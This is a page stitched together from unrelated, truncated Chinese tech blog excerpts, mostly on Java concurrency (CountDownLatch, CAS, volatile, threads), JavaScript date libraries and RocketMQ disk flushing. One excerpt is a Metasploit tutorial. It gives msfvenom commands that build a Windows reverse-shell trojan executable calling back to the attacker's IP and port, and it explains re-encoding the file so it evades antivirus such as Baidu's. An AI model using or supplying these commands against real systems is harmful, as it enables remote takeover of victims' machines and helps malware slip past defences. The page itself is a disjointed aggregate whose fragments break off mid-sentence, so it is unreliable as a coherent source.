Count_Down

在大家日常网站开发中，我们经常需要有效的调用Javascript处理日期和时间格式相关的函数，在Javascript中已经包含了部分最基本的内建处理方法。有很多人都是自己开发和编写需要功能的方法，但是有效的使用别人已经开发好的封装类库也是一个不错的选择，所谓君子善假于物也。今天这里我们收集了5个常见的JavaScript日期处理函数类库，一起来分享一下 （点击类库名称会跳转到对应开发文档） * XDate 这个类库是javascript本地日期对象的封装，提供了加强的方法来帮助你解析，格式化和日期处理。 使用它就类似使用javascript自己的方法，所以非常简单！ * DP Date Extension 一个javascript日期对象的扩展类库，拥有很多新功能和特性 * JavaScript Pretty Date 一个简单有效的处理老式javascript日期的类库。 例如，帮助你将“2012-04-08T08:24:17Z” 处理成“2小时前”。 非常适合发布帖子时构建人性化日期格式。 * Moment.js 一个超轻量级的javascript类库（仅3.7k），用来解析，处理和格式化日期 * Countdown JS 一个简单的javascript API帮助你用准确而创新的描述方式来展示俩个日期间隔 订阅ID： qdkfmiji 咨询QQ： 1853802745 ☆

上一篇博客的最后简单提了下CommitLog的刷盘 【RocketMQ中Broker的消息存储源码分析】 （这篇博客和上一篇有很大的联系） Broker的CommitLog刷盘会启动一个线程，不停地将缓冲区的内容写入磁盘（CommitLog文件）中，主要分为异步刷盘和同步刷盘 异步刷盘又可以分为两种方式： ①缓存到mappedByteBuffer -> 写入磁盘（包括同步刷盘） ②缓存到writeBuffer -> 缓存到fileChannel -> 写入磁盘 （前面说过的开启内存字节缓冲区情况下） CommitLog的两种刷盘模式： 1 public enum FlushDiskType { 2 SYNC_FLUSH, 3 ASYNC_FLUSH 4 } 同步和异步，同步刷盘由GroupCommitService实现，异步刷盘由FlushRealTimeService实现，默认采用异步刷盘 在采用异步刷盘的模式下，若是开启内存字节缓冲区，那么会在FlushRealTimeService的基础上开启CommitRealTimeService 同步刷盘： 启动GroupCommitService线程： 1 public void run() { 2 CommitLog.log.info( this .getServiceName() + " service started" ); 3

基础知识模块 很长时间没有写笔记了，把最近看的一点知识分享给大家，主要是并发编程相关的基础知识，准备年前把这一部分都更新了，还请各位大佬多多关照，多多指点。 主要内容的鱼骨图如下： 1、同步容器类 同步容器类包括Vector和Hashtable，二者是早期JDK的一部分，此外还包括1.2版本中添加的一些相似功能的类，这些同步类的封装是由Collections.synchronizedXxx等工厂方法创建的。这些类实现线程安全的方式为： 将它们的状态封装起来，并对每个公有方法都进行同步，使得每次只有一个线程能够访问容器的状态 1.1、同步容器类的问题 同步容器类都是线程安全的，但在某些情况下可能需要额外的客户端加锁来保护复合操作，常见的复合操作有：迭代，跳转，以及条件运算。在同步容器类中，这些复合操作在没有客户端加锁的情况下是线程安全的，但当其他线程并发的修改容器时，他们可能会表现出意料之外的问题。 “先检查再运行” public static Object getLast(Vector list){ int lastIndex = list.size() - 1; return list.get(lastIndex); } public static void deleteLast(Vector list){ int lastIndex = list.size() - 1;

Java中的CountDownLatch CountDownLatch的作用： CountDownLatch类位于java.util.concurrent包下，利用它可以实现类似计数器的功能，当我们创建CountDownLatch的对象时，我们指定了它应等待的线程数，所有此类线程都需要在完成或准备好工作后调用CountDownLatch.countDown()来进行递减计数。一旦计数达到零，等待的任务就会开始运行。 CountDownLatch的示例： import java.util.concurrent.CountDownLatch; public class CountDownLatchDemo { public static void main(String args[]) throws InterruptedException { // Let us create task that is going to // wait for four threads before it starts CountDownLatch latch = new CountDownLatch(4); // Let us create four worker // threads and start them. Worker first = new Worker(1000, latch,

大多数杀毒软件使用特征码来识别恶意代码。特征码在杀毒引擎中，对磁盘和进程进行扫描匹配。 为了避开杀毒软件，可以针对特征码创建一个独一无二的攻击载荷，它不与杀毒软件的任何特征码匹配。 当直接渗透时，metasploit的攻击载荷可以只在内存中运行，不将任何数据写入到硬盘上，我们发起攻击并上传攻击载荷后，大多数杀毒软件都无法检测出来。 1.使用MSF攻击载荷生成器创建可独立运行的木马 两条命令搞定 msfvenom -p windows/shell_reverse_tcp --payload-options msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.140（自己的IP）LPORT=31337（自己的端口）-f -exe -o payload1.exe 一个windows PE文件（便携可执行文件） 木马 2.躲避杀毒软件的检测 最佳方法之一，使用MSF编码器 以百度杀毒为例子。在目标上实际部署攻击载荷前，需要弄清目标的反病毒方案，确保木马顺利运行 使用MSF编码器，对木马文件进行重新编码。它能改变可执行文件中的代码形状。和电子邮件附件base64编码类似。 当这个文件运行后，MSF编码器会将原始程序解码到内存中并执行。 msfvenom -l encoders 选择不同环境（比如x86，linux，PPC等）的编码格式

什么是CAS > CAS(compare and swap) ,字面意思比较并交换,是解决多线程并行情况下使用锁造成性能损耗的一种机制. public final boolean compareAndSet(int expect, int update) { return unsafe.compareAndSwapInt(this, valueOffset, expect, update); } > CAS 有三个操作数, valueOffset 内存值, expect 期望值, update 要更新的值。如果内存值( valueOffset )和期望值( expect )是一样的。那么处理器会将该位置的值更新为( update ),否则不做任何操作。 > CAS 有效地说明了“我认为位置 valueOffset 应该包含值 expect ，如果包含该值，则将 update 放到这个位置；否则，不要更改该位置，只告诉我这个位置现在的值即可。”在 Java 中，sun.misc.Unsafe类提供了硬件级别的原子操作来实现这个 CAS，java.util.concurrent包下的大量类都使用了这个Unsafe类的 CAS 操作 CAS的应用 > java.util.concurrent.atomic 包下的类大多数是使用 CAS 实现的,如 AtomicInteger ,

知识体系图 ： 1、线程是什么？ 线程是进程中独立运行的子任务。 2、创建线程的方式 方式一：将类声明为 Thread 的子类。该子类应重写 Thread 类的 run 方法 方式二：声明实现 Runnable 接口的类。该类然后实现 run 方法 推荐方式二，因为接口方式比继承方式更灵活，也减少程序间的耦合。 3、获取当前线程信息？ Thread.currentThread() 4、线程的分类 线程分为守护线程、用户线程。线程初始化默认为用户线程。 setDaemon(true) 将该线程标记为守护线程或用户线程。 特性：设置守护线程，会作为进程的守护者，如果进程内没有其他非守护线程，那么守护线程也会被销毁，即使可能线程内没有运行结束。 5、线程间的关系？ 某线程a 中启动另外一个线程 t，那么我们称 线程 t是 线程a 的一个子线程，而 线程a 是 线程t 的 父线程。 最典型的就是我们在main方法中 启动 一个 线程去执行。其中main方法隐含的main线程为父线程。 6、线程API一览：如何启动、停止、暂停、恢复线程？ （1）start() 使线程处于就绪状态，Java虚拟机会调用该线程的run方法； （2）stop() 停止线程，已过时，存在不安全性： 一是可能请理性的工作得不得完成； 二是可能对锁定的对象进行“解锁”，导致数据不同步不一致的情况。 推荐 使用

转载地址：http://yhjhappy234.blog.163.com/blog/static/3163283220135875759265/ CountDownLauch是 Java并发包中的一个同步工具集，常被人们称之为并发中的计数器，还有一种被成为闭锁！ CountDownLauch主要使用在两种场景， 一种被称为开关 ，它允许一个任务完成之前，一个或一组线程持续等待。此种情况经常被称之为闭锁，通俗的讲就是，相当于一扇大门，在大门打开之前所有线程都被阻断，一旦大门打开，所有线程都将通过，但是一旦大门打开，所有线程都通过了，那么这个闭锁的状态就失效了，门的状态也就不能变了，只能是打开状态。 另一种场景经常被称之为计数器 ，它允许将一个任务拆分为 N个小任务，主线程在所有任务完成之前一直等待，每个任务完成时将计数器减一，直到所有任务完成后取消主线程的阻塞。 我们来看一下对应 CountDownLauch对应的 API。 构造方法摘要 CountDownLatch (int count) 构造一个用给定计数初始化的 DE>CountDownLatchDE>。 方法摘要 void await () 使当前线程在锁存器倒计数至零之前一直等待，除非线程被中断。 boolean await (long timeout, TimeUnit unit)

深入浅出Java并发包—CountDownLauch原理分析 一线天色天宇星辰 IT哈哈 CountDownLauch是Java并发包中的一个同步工具集，常被人们称之为并发中的计数器，还有一种被成为闭锁！ CountDownLauch主要使用在两种场景，一种被称为开关，它允许一个任务完成之前，一个或一组线程持续等待。此种情况经常被称之为闭锁，通俗的讲就是，相当于一扇大门，在大门打开之前所有线程都被阻断，一旦大门打开，所有线程都将通过，但是一旦大门打开，所有线程都通过了，那么这个闭锁的状态就失效了，门的状态也就不能变了，只能是打开状态。另一种场景经常被称之为计数器，它允许将一个任务拆分为N个小任务，主线程在所有任务完成之前一直等待，每个任务完成时将计数器减一，直到所有任务完成后取消主线程的阻塞。 我们来看一下对应CountDownLauch对应的API。 CountDownLatch维护了一个正数计数器，countDown方法对计数器做减操作，await方法等待计数器达到0。所有await的线程都会阻塞直到计数器为0或者等待线程中断或者超时。 我们分别来看一下对应的一个应用实例： package com.yhj.lauth; import java.util.Date; import java.util.concurrent.CountDownLatch; //工人 class

内存可见性 　　volatile是Java提供的一种轻量级的同步机制，在并发编程中，它也扮演着比较重要的角色。同synchronized相比（synchronized通常称为重量级锁），volatile更轻量级，相比使用synchronized所带来的庞大开销，倘若能恰当的合理的使用volatile，自然是美事一桩。 　　为了能比较清晰彻底的理解volatile，我们一步一步来分析。首先来看看如下代码 public class TestVolatile { boolean status = false; /** * 状态切换为true */ public void changeStatus(){ status = true; } /** * 若状态为true，则running。 */ public void run(){ if(status){ System.out.println("running...."); } } } 　　上面这个例子，在多线程环境里，假设线程A执行changeStatus()方法后,线程B运行run()方法，可以保证输出"running....."吗？ 　　 答案是NO! 　　这个结论会让人有些疑惑，可以理解。因为倘若在单线程模型里，先运行changeStatus方法，再执行run方法，自然是可以正确输出"running...."的；但是在多线程模型中